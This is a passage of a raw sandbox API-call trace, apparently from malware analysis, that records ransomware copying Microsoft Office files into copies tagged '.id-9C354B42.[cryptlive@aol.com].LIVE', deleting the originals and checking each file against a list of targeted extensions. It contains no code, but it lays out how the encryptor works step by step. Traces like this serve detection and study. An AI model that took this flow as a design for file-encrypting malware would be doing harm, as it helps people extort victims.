| out: lpFileSize=0x2d8ff1c*=113) returned 1 [0148.273] CloseHandle (hObject=0x36c) returned 1 [0148.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 0x20 [0148.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.274] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.274] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.275] GetLastError () returned 0x0 [0148.275] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0148.276] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0148.276] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.276] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0148.277] SetEndOfFile (hFile=0x3a0) returned 1 [0148.277] CloseHandle (hObject=0x3a0) returned 1 [0148.277] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.277] SetEndOfFile (hFile=0x36c) returned 1 [0148.282] CloseHandle (hObject=0x36c) returned 1 [0148.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 1 [0148.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.282] lstrlenW (lpString=".doc") returned 4 [0148.283] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.283] lstrlenW (lpString=".docx") returned 5 [0148.283] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.283] lstrlenW (lpString=".pdf") returned 4 [0148.283] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString=".xls") returned 4 [0148.283] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString=".xlsx") returned 5 [0148.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.283] lstrlenW (lpString=".ppt") returned 4 [0148.283] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString=".zip") returned 4 [0148.283] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString=".rar") returned 4 [0148.283] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString=".bz2") returned 4 [0148.283] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.283] lstrlenW (lpString=".7z") returned 3 [0148.283] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString=".dbf") returned 4 [0148.283] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString=".1cd") returned 4 [0148.283] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString=".jpg") returned 4 [0148.283] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.283] lstrlenW (lpString=".doc") returned 4 [0148.283] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.283] lstrlenW (lpString=".docx") returned 5 [0148.283] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.283] lstrlenW (lpString=".pdf") returned 4 [0148.284] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.284] lstrlenW (lpString=".xls") returned 4 [0148.284] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.284] lstrlenW (lpString=".xlsx") returned 5 [0148.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.284] lstrlenW (lpString=".ppt") returned 4 [0148.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.284] lstrlenW (lpString=".zip") returned 4 [0148.284] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.284] lstrlenW (lpString=".rar") returned 4 [0148.284] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.284] lstrlenW (lpString=".bz2") returned 4 [0148.284] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.284] lstrlenW (lpString=".7z") returned 3 [0148.284] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.284] lstrlenW (lpString=".dbf") returned 4 [0148.284] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.284] lstrlenW (lpString=".1cd") returned 4 [0148.284] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0148.284] lstrlenW (lpString=".jpg") returned 4 [0148.284] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.284] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0148.284] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0148.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.285] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=42336) returned 1 [0148.285] CloseHandle (hObject=0x36c) returned 1 [0148.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 0x20 [0148.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.285] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.285] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.286] GetLastError () returned 0x0 [0148.286] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xa560, lpOverlapped=0x0) returned 1 [0148.464] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa570, lpOverlapped=0x0) returned 1 [0148.465] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.465] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.465] SetEndOfFile (hFile=0x3a0) returned 1 [0148.465] CloseHandle (hObject=0x3a0) returned 1 [0148.466] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.466] SetEndOfFile (hFile=0x36c) returned 1 [0148.469] CloseHandle (hObject=0x36c) returned 1 [0148.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.470] lstrlenW (lpString=".doc") returned 4 [0148.470] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0148.470] lstrlenW (lpString=".docx") returned 5 [0148.470] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0148.470] lstrlenW (lpString=".pdf") returned 4 [0148.470] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0148.470] lstrlenW (lpString=".xls") returned 4 [0148.470] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0148.470] lstrlenW (lpString=".xlsx") returned 5 [0148.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0148.470] lstrlenW (lpString=".ppt") returned 4 [0148.470] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".zip") returned 4 [0148.471] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0148.471] lstrlenW (lpString=".rar") returned 4 [0148.471] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString=".bz2") returned 4 [0148.471] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString=".7z") returned 3 [0148.471] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".dbf") returned 4 [0148.471] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".1cd") returned 4 [0148.471] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".jpg") returned 4 [0148.471] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".doc") returned 4 [0148.471] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString=".docx") returned 5 [0148.471] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0148.471] lstrlenW (lpString=".pdf") returned 4 [0148.471] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString=".xls") returned 4 [0148.471] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0148.471] lstrlenW (lpString=".xlsx") returned 5 [0148.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0148.471] lstrlenW (lpString=".ppt") returned 4 [0148.471] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.471] lstrlenW (lpString=".zip") returned 4 [0148.471] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0148.471] lstrlenW (lpString=".rar") returned 4 [0148.471] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0148.471] lstrlenW (lpString=".bz2") returned 4 [0148.472] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0148.472] lstrlenW (lpString=".7z") returned 3 [0148.472] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0148.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.472] lstrlenW (lpString=".dbf") returned 4 [0148.472] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0148.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.472] lstrlenW (lpString=".1cd") returned 4 [0148.472] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0148.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0148.472] lstrlenW (lpString=".jpg") returned 4 [0148.472] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0148.472] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0148.472] lstrlenW (lpString="XFUNC.VSL") returned 9 [0148.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.508] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=52624) returned 1 [0148.508] CloseHandle (hObject=0x3c4) returned 1 [0148.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 0x20 [0148.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.585] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.585] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.586] GetLastError () returned 0x0 [0148.586] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xcd90, lpOverlapped=0x0) returned 1 [0148.599] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xcda0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xcda0, lpOverlapped=0x0) returned 1 [0148.600] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.600] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0148.601] SetEndOfFile (hFile=0x384) returned 1 [0148.601] CloseHandle (hObject=0x384) returned 1 [0148.602] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.602] SetEndOfFile (hFile=0x38c) returned 1 [0148.605] CloseHandle (hObject=0x38c) returned 1 [0148.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".doc") returned 4 [0148.607] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString=".docx") returned 5 [0148.607] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0148.607] lstrlenW (lpString=".pdf") returned 4 [0148.607] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString=".xls") returned 4 [0148.607] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0148.607] lstrlenW (lpString=".xlsx") returned 5 [0148.607] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0148.607] lstrlenW (lpString=".ppt") returned 4 [0148.607] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".zip") returned 4 [0148.607] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0148.607] lstrlenW (lpString=".rar") returned 4 [0148.607] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString=".bz2") returned 4 [0148.607] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString=".7z") returned 3 [0148.607] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".dbf") returned 4 [0148.607] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".1cd") returned 4 [0148.607] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".jpg") returned 4 [0148.607] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.607] lstrlenW (lpString=".doc") returned 4 [0148.608] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString=".docx") returned 5 [0148.608] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0148.608] lstrlenW (lpString=".pdf") returned 4 [0148.608] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString=".xls") returned 4 [0148.608] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0148.608] lstrlenW (lpString=".xlsx") returned 5 [0148.608] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0148.608] lstrlenW (lpString=".ppt") returned 4 [0148.608] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.608] lstrlenW (lpString=".zip") returned 4 [0148.608] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0148.608] lstrlenW (lpString=".rar") returned 4 [0148.608] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString=".bz2") returned 4 [0148.608] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString=".7z") returned 3 [0148.608] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0148.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.608] lstrlenW (lpString=".dbf") returned 4 [0148.608] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.608] lstrlenW (lpString=".1cd") returned 4 [0148.608] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0148.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0148.608] lstrlenW (lpString=".jpg") returned 4 [0148.608] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0148.608] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0148.608] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0148.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.616] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2362752) returned 1 [0148.617] CloseHandle (hObject=0x3dc) returned 1 [0148.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll")) returned 0x20 [0148.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0148.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0148.617] lstrlenW (lpString="C:\\Program 